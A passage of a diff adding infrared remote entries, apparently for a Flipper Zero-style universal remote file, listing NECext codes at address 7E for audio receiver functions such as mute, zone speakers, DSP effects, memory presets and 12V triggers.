+command: 25 00 00 00 +# +name: AZ:_VOLUME_DOWN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 25 00 00 00 +# +name: Z3:_VOL_MEM_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 25 00 00 00 +# +name: Z3:_VOL_MEMORY_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 25 00 00 00 +# +name: HOME_BANK_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 26 00 00 00 +# +name: Z3:_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 26 00 00 00 +# +name: Z3_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 26 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 26 00 00 00 +# +name: MUTE_ON_(FULL) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 26 00 00 00 +# +name: ?AZ:_MUTE_TOGGLE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 26 00 00 00 +# +name: Z3:_MUTE_FULL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 26 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 26 00 00 00 +# +name: PRGRM_EFFECT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 27 00 00 00 +# +name: DSP_EFFECT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 27 00 00 00 +# +name: DSP:_EFFECT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 27 00 00 00 +# +name: DSP_STRAIGHT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 27 00 00 00 +# +name: MUTE_ON_(FULL)_ALL_Z +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 27 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 27 00 00 00 +# +name: DSP_EFFECT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 27 00 00 00 +# +name: DSP:_STRAIGHT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 27 00 00 00 +# +name: AZ:_MUTE_FULL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 27 00 00 00 +# +name: EFFECT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 27 00 00 00 +# +name: MZ:_MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 27 00 00 00 +# +name: DSP:_STRAIGHT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 27 00 00 00 +# +name: SPKR_B_SET_MAIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 28 00 00 00 +# +name: SP_B_SET_ZONE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 28 00 00 00 +# +name: MZ:_SPKR_B_SET_MAIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 28 00 00 00 +# +name: MUTE_OFF_ALL_ZONES +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 28 00 00 00 +# +name: SPKR_B_MAIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 28 00 00 00 +# +name: AZ:_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 28 00 00 00 +# +name: MZ:_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 28 00 00 00 +# +name: SPKR_B_SET_Z2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 29 00 00 00 +# +name: SP_B_SET_ZONE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 29 00 00 00 +# +name: MZ:_SPKR_B_ZONE_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 29 00 00 00 +# +name: MUTE_ON_(-20DB) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 29 00 00 00 +# +name: SPKR_B_ZB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 29 00 00 00 +# +name: Z2:_MUTE_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 29 00 00 00 +# +name: MUTE_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 29 00 00 00 +# +name: MUTE_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 29 00 00 00 +# +name: MUTE_ON_(-20DB) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2A 00 00 00 +# +name: POWER_ON/STANDBY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2A 00 00 00 +# +name: MZ_POWER_TOGGLE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2A 00 00 00 +# +name: Z3:_MUTE_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2A 00 00 00 +# +name: MUTE_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2A 00 00 00 +# +name: MUTE_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2A 00 00 00 +# +name: HOME_MEMORY_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2B 00 00 00 +# +name: HM_BK_PRESET_MEM_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2B 00 00 00 +# +name: MZ:_HM_P_MEM_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2B 00 00 00 +# +name: MZ:_SYS_MEM_SAVE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2B 00 00 00 +# +name: SYS_MEM_SAVE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2B 00 00 00 +# +name: SYS_MEM:_SAVE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2B 00 00 00 +# +name: MZ:_SYSM_MEM_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2B 00 00 00 +# +name: Z4:_MUTE_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2B 00 00 00 +# +name: HOME_BANK_MEMORY_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2B 00 00 00 +# +name: MZ:_SYSM_MEM_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2B 00 00 00 +# +name: HOME_MEMORY_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2C 00 00 00 +# +name: HM_BK_PRESET_MEM_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2C 00 00 00 +# +name: MZ:_HM_P_MEM_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2C 00 00 00 +# +name: MZ:_SYS_MEM_SAVE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2C 00 00 00 +# +name: SYS_MEM_SAVE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2C 00 00 00 +# +name: SYS_MEM:_SAVE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2C 00 00 00 +# +name: SYS_MEM_2_MEMORY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2C 00 00 00 +# +name: MUTE_ON_(-20DB)_AZ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2C 00 00 00 +# +name: MZ:_SYSM_MEM_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2C 00 00 00 +# +name: AZ:_MUTE_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2C 00 00 00 +# +name: HOME_BANK_MEMORY_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2C 00 00 00 +# +name: MZ:_MUTE_ON_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2C 00 00 00 +# +name: MZ:_SYSM_MEM_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2C 00 00 00 +# +name: HOME_MEMORY_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2D 00 00 00 +# +name: HM_BK_PRESET_MEM_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2D 00 00 00 +# +name: MZ:_HM_P_MEM_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2D 00 00 00 +# +name: MZ:_SYS_MEM_SAVE_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2D 00 00 00 +# +name: SYS_MEM_SAVE_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2D 00 00 00 +# +name: SYS_MEM:_SAVE_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2D 00 00 00 +# +name: SYS_MEM_3_MEMORY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2D 00 00 00 +# +name: MZ:_SYSM_MEM_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2D 00 00 00 +# +name: SRCE:_Z2_DISPL_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2D 00 00 00 +# +name: Z2:_DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2D 00 00 00 +# +name: HOME_BANK_MEMORY_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2D 00 00 00 +# +name: MZ:_SYSM_MEM_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2D 00 00 00 +# +name: DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2D 00 00 00 +# +name: DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2D 00 00 00 +# +name: SOURCE:_DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2D 00 00 00 +# +name: HOME_MEMORY_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2E 00 00 00 +# +name: HM_BK_PRESET_MEM_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2E 00 00 00 +# +name: MZ:_HM_P_MEM_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2E 00 00 00 +# +name: MZ:_SYS_MEM_SAVE_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2E 00 00 00 +# +name: SYS_MEM_SAVE_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2E 00 00 00 +# +name: SYS_MEM:_SAVE_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2E 00 00 00 +# +name: SYS_MEM_4_MEMORY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2E 00 00 00 +# +name: DISP_DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2E 00 00 00 +# +name: MZ:_SYSM_MEM_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2E 00 00 00 +# +name: SRCE:_Z3_DISPL_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2E 00 00 00 +# +name: Z3:_DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2E 00 00 00 +# +name: HOME_BANK_MEMORY_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2E 00 00 00 +# +name: MZ:_SYSM_MEM_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2E 00 00 00 +# +name: DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2E 00 00 00 +# +name: DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2E 00 00 00 +# +name: HOME_MEMORY_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2F 00 00 00 +# +name: HM_BK_PRESET_MEM_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2F 00 00 00 +# +name: MZ:_HM_P_MEM_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2F 00 00 00 +# +name: MZ:_SYS_MEM_SAVE_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2F 00 00 00 +# +name: SYS_MEM_SAVE_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2F 00 00 00 +# +name: SYS_MEM:_SAVE_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2F 00 00 00 +# +name: SYS_MEM_5_MEMORY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2F 00 00 00 +# +name: MZ:_SYSM_MEM_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2F 00 00 00 +# +name: SRCE:_Z4_DISPL_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2F 00 00 00 +# +name: Z4:_DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2F 00 00 00 +# +name: HOME_BANK_MEMORY_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2F 00 00 00 +# +name: MZ:_SYSM_MEM_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2F 00 00 00 +# +name: DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 2F 00 00 00 +# +name: HOME_MEMORY_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: HOME_RECALL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: HM_BK_PRESET_MEM_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: MZ:_HM_P_MEM_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: MZ:_SYS_MEM_SAVE_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: SYS_MEM_SAVE_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: SYS_MEM:_SAVE_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: SYS_MEM_6_MEMORY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: DISP_DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: MZ:_SYSM_MEM_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: SRCE:_Z2_DISPL_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: Z2:_DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: HOME_BANK_MEMORY_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: MZ:_SYSM_MEM_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: SOURCE:_DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 30 00 00 00 +# +name: 12V:_DC1_CTL_Z3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 31 00 00 00 +# +name: DC1_TRIG_CTRL_Z3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 31 00 00 00 +# +name: DC1_TRG_CTL:_ZONE_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 31 00 00 00 +# +name: DC1_TRIGGER_CONTROL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 31 00 00 00 +# +name: DISP_DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 31 00 00 00 +# +name: SRCE:_Z3_DISPL_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 31 00 00 00 +# +name: Z3:_DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 31 00 00 00 +# +name: SETMENU_EXTENDED +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 31 00 00 00 +# +name: TRIGGER_1_CTRL_Z3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 31 00 00 00 +# +name: DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 31 00 00 00 +# +name: TRIGGER_1_CTRL_Z3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 31 00 00 00 +# +name: DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 31 00 00 00 +# +name: DC1_TRG_CTRL_Z1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: DC1_TRG_CTRL_ZONE1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: DC1_TRG_CTRL_Z1_&_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: 12V:_DC1_CTL_Z1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: DC1_TRIG_CTRL_Z1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: DC1_TRG_CTRL_ZONE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: DC1_TRG_CTL:_ZONE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: DC1_TRIGGER_CONTROL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: TRIGGER_CTR:_ZONE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: MAIN:DC1_TRIGGER_CTR +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: 12V:_DC1_CNTL_Z1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: DC1_TRG_CTL_Z1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: DC1_TRIG_MZ_TOGGLE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: SRCE:_Z4_DISPL_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: Z4:_DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: DC_TRG_CTRL_ZONE1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: TRIGGER:_1_CTRL_MZ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: TRIGGER:_1_CTRL_MZ +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 32 00 00 00 +# +name: DC1_TRG_CTRL_Z2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: DC1_TRG_CTRL_ZONE2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: 12V:_DC1_CTL_Z2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: DC1_TRIG_CTRL_Z2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: DC1_TRG_CTRL_ZONE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: DC1_TRG_CTL:_ZONE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: DC1_TRIGGER_CONTROL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: TRIGGER_CTL:_ZONE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: Z2:_DC1_TRIGGER_CTRL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: 12V:_DC1_CNTL_Z2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: DC1_TRG_CTL_Z2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: DECOD:_3D_DSP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: DC_TRG_CTRL_ZONE2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: DSP:_3D_DSP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: DSP:_3D_DSP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: TRIGGER_1_CTRL_Z2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: TRIGGER_1_CTRL_Z2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 33 00 00 00 +# +name: DC1_TRG_CTRL_ALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: DC1_TRG_CTRL_ALL_OR +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: 12V:_DC1_CTL_ALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: DC1_TRIG_CTRL_ALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: DSP_3D_DSP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: DSP_3D_DSP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: DC1_TRG_CTL:_ALL_OR +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: DC1_TRG_CTRL_ALL_ZON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: TRIGGER_CTL:_ALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: 12V:_DC1_CNTL_ALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: DC1_TRG_CTL_ALL_OR +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: DECOD:_3D_DSP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: DC_TRG_CTRL_ZONE1/2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: DSP:_3D_DSP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: DSP:_3D_DSP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 34 00 00 00 +# +name: HOME_RECALL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 35 00 00 00 +# +name: HM_BK_PRESET_RCL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 35 00 00 00 +# +name: MZ:_HM_P_RECL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 35 00 00 00 +# +name: MZ:_SYS_MEM_LOAD_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 35 00 00 00 +# +name: SYS_MEM_LOAD_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 35 00 00 00 +# +name: SYS_MEM:_LOAD_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 35 00 00 00 +# +name: SYS_MEM_1_RECALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 35 00 00 00 +# +name: MZ:_SYSM_REC_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 35 00 00 00 +# +name: PARTY:_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 35 00 00 00 +# +name: HOME_BANK_RECALL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 35 00 00 00 +# +name: PARTY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 35 00 00 00 +# +name: DUAL_MONO_ALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 35 00 00 00 +# +name: MZ:_SYSM_REC_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 35 00 00 00 +# +name: PARTY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 35 00 00 00 +# +name: HOME_RECALL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 36 00 00 00 +# +name: HM_BK_PRESET_RCL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 36 00 00 00 +# +name: MZ:_HM_P_RECL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 36 00 00 00 +# +name: MZ:_SYS_MEM_LOAD_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 36 00 00 00 +# +name: SYS_MEM_LOAD_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 36 00 00 00 +# +name: SYS_MEM:_LOAD_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 36 00 00 00 +# +name: SYS_MEM_2_RECALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 36 00 00 00 +# +name: MZ:_SYSM_REC_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 36 00 00 00 +# +name: PARTY:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 36 00 00 00 +# +name: HOME_BANK_RECALL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 36 00 00 00 +# +name: PARTY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 36 00 00 00 +# +name: MZ:_SYSM_REC_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 36 00 00 00 +# +name: PARTY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 36 00 00 00 +# +name: HOME_RECALL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 37 00 00 00 +# +name: HM_BK_PRESET_RCL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 37 00 00 00 +# +name: MZ:_HM_P_RECL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 37 00 00 00 +# +name: MZ:_SYS_MEM_LOAD_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 37 00 00 00 +# +name: SYS_MEM_LOAD_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 37 00 00 00 +# +name: SYS_MEM:_LOAD_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 37 00 00 00 +# +name: SYS_MEM_3_RECALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 37 00 00 00 +# +name: MZ:_SYSM_REC_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 37 00 00 00 +# +name: MZ:_SYSM_MEM_7 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 37 00 00 00 +# +name: HOME_BANK_RECALL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 37 00 00 00 +# +name: MZ:_SYSM_REC_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 37 00 00 00 +# +name: HOME_RECALL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 38 00 00 00 +# +name: HM_BK_PRESET_RCL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 38 00 00 00 +# +name: MZ:_HM_P_RECL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 38 00 00 00 +# +name: MZ:_SYS_MEM_LOAD_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 38 00 00 00 +# +name: SYS_MEM_LOAD_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 38 00 00 00 +# +name: SYS_MEM:_LOAD_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 38 00 00 00 +# +name: SYS_MEM_4_RECALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 38 00 00 00 +# +name: MZ:_SYSM_REC_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 38 00 00 00 +# +name: MZ:_SYSM_MEM_8 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 38 00 00 00 +# +name: HOME_BANK_RECALL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 38 00 00 00 +# +name: MZ:_SYSM_REC_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 38 00 00 00 +# +name: HOME_RECALL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 39 00 00 00 +# +name: HM_BK_PRESET_RCL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 39 00 00 00 +# +name: MZ:_HM_P_RECL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 39 00 00 00 +# +name: MZ:_SYS_MEM_LOAD_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 39 00 00 00 +# +name: SYS_MEM_LOAD_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 39 00 00 00 +# +name: SYS_MEM:_LOAD_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 39 00 00 00 +# +name: SYS_MEM_5_RECALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 39 00 00 00 +# +name: MZ:_SYSM_REC_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 39 00 00 00 +# +name: MZ:_SYSM_MEM_9 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 39 00 00 00 +# +name: HOME_BANK_RECALL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 39 00 00 00 +# +name: MZ:_SYSM_REC_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 39 00 00 00 +# +name: 